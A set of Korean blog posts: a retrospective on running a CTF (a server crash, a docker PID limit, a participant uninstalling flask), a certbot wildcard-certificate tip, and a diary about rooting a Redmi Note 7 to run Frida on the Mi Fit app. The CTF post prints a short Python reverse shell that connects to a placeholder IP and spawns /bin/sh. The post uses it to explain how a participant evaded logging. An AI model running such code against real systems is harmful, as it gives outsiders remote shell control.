그래서 좀 찾아보니 --user 옵션으로 root권한으로 접근이 가능했습니다.

 

그 후 새벽에는 좀 문제 관련 피드백 해주고 제가 낸 문제 access.log 확인하면서 시간을 보냈습니다.

 

둘째 날 오후까지 평온했는데 가장 큰 문제가 발생합니다.

처음엔 그저 문제 사이트가 접속이 안되어 재시작하겠다는 내용이였는데

쉘에 접근이 안된다는 소리를 듣게 됩니다.

전 ssh key 관련 문제일려나 싶어서 pem 파일을 드리려는데 서버가 다운됬다는 소식을 듣습니다.

..................

그렇게 멘붕이 와서 보니 또 범인은 똑같았습니다.

user 권한이지만 너무 많은 유저들이 프로세스를 생성하여 해당 컨테이너가 만든 pid가 상당했습니다.

 

그래서 pid 제한 옵션을 또 걸었습니다.

docker update --pids-limt 100 ${CONTAINER_ID}

 

또 다른 이슈가 나왔는데 누가 flask를 제거한 것 이였습니다.

...? 그게 되나 싶어 pip uninstall을 해보니 잘 됩니다..?

그래서 누가 범인이지 하고 찾으러 가는데

가는데... 로그가 존재하지 않습니다.

무슨 일인가 싶었는데 운영팀장님께서 원인을 찾아내셨습니다.

 

import socket, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect("IP", port)
## maybe file descriptor
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/sh")

이런 식으로 socket 통신을 통해 쉘을 획득하면 로그도 상대방에게 갑니다.

...!

누가 지웠는지는 모르겠고 일단 재시작을 하고 똑같은 이슈는 없었습니다. 다행히...

 

일단 docker의 장점이 여기서도 보인것이 서버가 재시작되었지만 제가 컨테이너 대부분에 restart 옵션을 두어서

몇 서버 빼고 정상 운영되었습니다.

 

"그 문제"가 젤 아쉬웠습니다.

500에러는 서버측 에러라는 뜻이기에 저희에게 화살이 돌아옵니다.

운영진이 서버를 잘 운영안한다면서 말이죠

 

하지만 이는 문제 제공자가 error handling을 제대로 안해서 생긴 문제입니다.

저희도 억울할 수 밖에 없지요 ㅠㅠ..

 

좀 이런 부분은 소양 교육이나 가이드 라인을 만들면 좋을 것 같습니다.

 

말 나온김에 CTF 출제 가이드 라인을 만들어놔야 겠습니다.

 

좀 많이 아쉽기는 했지만 그래도 대규모 트래픽에 대해 대처해본 경험을 할 수 있어 좋았습니다.

 

CTF 문제 검수를 잘 한다면 내년엔 더 좋아질 겁니다.

 

다음 포스트는 동아리 공방전 운영 이야기를 써보겠습니다.

 

certbot 이용해서 *.domain으로 인증서를 받고 적용하면 domain으로 접속시 보안 경고를 맞이하게 됩니다.

다음과 같이 domain으로도 같이 받으면 됩니다.

docker run -it --rm --name certbot \
	-v '/etc/letsencrypt:/etc/letsencrypt' \
	-v '/var/lib/letsencrypt:/var/lib/letsencrypt' \
	certbot/certbot certonly \
    -d '*.domain' -d 'domain' \
    --email name@email.com --manual \
    --preferred-challenges dns \
    --server https://acme-v02.api.letsencrypt.org/directory

동적 분석을 계획하게 된 것은 Mi Fit 어플이나 커스텀 롬을 지원하는 어플이 루팅 탐지 로직이 없었기 때문이다.

( 루팅 탐지 로직이 있었다면 리 패키징이 어렵게 되어있는 아이들과 싸워야 했다.. )

 

1차 시도. Nox Player + Frida

Nox Player을 통해 할 예정이었는데 문제가 생겼다.

Nox Player에서 블루투스 연결을 지원하지 않았던 것 ...!

대안 책을 찾아봐도 대부분의 앱플레이어가 블루투스를 지원하지 않았다.

 

2차 시도. Android X86

vmware를 활용하여 android x86을 구동시키면 블루투스 연결이 가능하다.

그래서 아 끝났다 생각했는데 제일 중요한 문제가 생겼다.

Mi Fit 어플이 x86이 지원 대상에 없어 어플 설치가 불가능했다.

그렇게 arm이 되는 android emulating 방법을 찾아 구글링을 떠났다.

 

3차 시도. Android AVD ( qemu )

좀 찾아보니 qemu를 활용하여 arm emulating을 해주는 avd를 구글이 개발해두었다.

그래서 아 끝났다 하고 활용해야지 했는데 램 16기가라 램이 부족하지는 않았을 터인데 그냥 동작이 안된다....

최신 개발된 것은 그냥 이미지가 안 뜨고 구버전은 안드로이드 부팅 화면에서 계속 넘어가지 않다가 time out 에러가 유발되었다.... 

무언가 잘못되었다....

이 때 부터 답은 루팅이 가능한 공기계를 사는 것이다 라는 생각을 했다.

( 어플이 리패키징이 어려운 이상 Frida 구동을 위해선 루팅이 필요하다 )

 

4차 시도. Android Native Bridge

https://gigglehd.com/gg/game/9105263

 

Android x86 마시멜로에서 모바일 게임 돌리기 - 게임 / 엔터테인먼트 - 기글하드웨어

VMWare에 Android x86을 설치하면서 겪은 삽질(...)을 공유하고자 합니다.   (수정) 롤리팝이 아니라 마시멜로여서 수정합니다.     1. Android x86은 누구에게 필요한가?   - 채굴이슈 등 다양한 이유로

gigglehd.com

좀 더 서치해보다가 이런 글을 보게되었다.

그래서 어 저거다 저건 진짜 된다 하고 시도 해보았다.

osboxes.org에서 제공하는 android9 , android8 가상 머신 파일에 저 방법을 적용하는 식으로 하였는데 왠지 모르게 계속 system ui가 크래시가 나서 정상적인 진행이 불가능 했다...

 

그래서 결국 공기계를 사기로 결정했다.

 

결론. 공기계

공기계의 조건은 다음과 같았다.

Mi Fit이 설치될 수 있는 최소 사양 ( android 8 이상 )

루팅이 가능할 것

블루투스 작동에 문제가 없을 것

 

이 세 가지의 서브 폰으로 쓸 욕심도 좀 첨가해서 C 타입으로 충전될 것 해서 당근을 좀 뒤져보다가

홍미노트 7을 발견하고 바로 거래하였다.

... 이쁘다

 

이제 이 폰을 루팅해서 프리다를 설치하고 adb over network를 통해 연결하는 시도를 할 예정이다.

 

+ 07.26 02:33 추가

 루팅이 가능할 것...

사실 예전에 갤럭시 s2 커스텀롬 가지고 놀던 시절의 기억으로 miui 롬 자체가 루팅이 되어있어서 

아 루팅이 되어있거나 할래도 쉽겠지란 막연한 생각으로 구매한 것이였는데

두둥! 부트로더 언락없이는 루팅이 불가능합니다....

부트로더 언락을 위해 sim카드를 사고 ( 본 유심으로 하기엔 좀 아직 신뢰가 부족하다 )

개통 예약까지 했다...

근데...

... 9시에 봅시다

 

+ 07.26 17:56 추가

 개통 예약은 주말 예약이 밀려서 인지 예정시간에도 처리되지 않았고 고객센터는 아주 바쁜지 전화를 받질 않았다 ㅠ

그래서 결국 개통 취소하고 다시 바로 개통하니 바로 처리되더라

아무튼 usim 개통과 동시에 부트로더 언락을 진행했는데 블로그 들에서 겁주는 것과 다르게 홍미 노트7이 이제 구 기기라 그런지 바로 언락이 진행되었다.

근데 내가 못 인지한 사실이 하나 있었다. 부트로더 언락이 진행되면 공장초기화가 되어버리는 것...!

애써 어플 다 깔고 설정해놨더니 다시 설정하게 되었다.

일단 TWRP 리커버리를 깔고 magisk라는 롬으로 루팅을 하려고 했는데....

뭔가 이미지 버전이 안맞다면서 거절 당했다.

그래서 더 쎄게 나가서 리니지 커널을 fastboot으로 flash 하고 리커버리 모드에서 공장초기화 후 리니지 롬 ( + gapps, super su ) 를 깔아버리니 rooted adb debugging 환경 까지 조성되었다.

 

여담이지만 KT 무약정 플랜에 의도적인 QoS가 있는지는 몰라도 원래 쓰던 데이터 속도보다 의심스럽게 느린 것 같다.

안그래도 속도 이슈 있던 KT인데 그냥 기분 탓이였으면 좋겠다.

 

frida-server을 설치 후 usb 연결을 통해 후킹 성공을 확인하였다.

super su가 안나와서 루팅된건지 긴가민가 했는데 kt 멤버쉽이 루팅 탐지 하는 것으로 보아 루팅은 잘 된 것 같다.

 

참 힘든 여정이였다.

근데... 젤 놀라운건 아직도 미 밴드 배달이 안 왔다는 것

아니 토요일에 제주에 도착했는데 오전 배달정도는 해줄 수 있잖아요 ㅠㅠ...

안타깝다.

'project' 카테고리의 다른 글

[Mi Band 분석]<1일차> 계획  (0) 2021.07.26

미 밴드가 내일 온다 ...!

오늘은 동석 분석 준비를 위해 환경을 조성하려고 한다.

 

1. frida로 동적 분석이 가능한 환경 조성

'project' 카테고리의 다른 글

[Mi Band 분석]<1일차> 상황  (0) 2021.07.26

+ Recent posts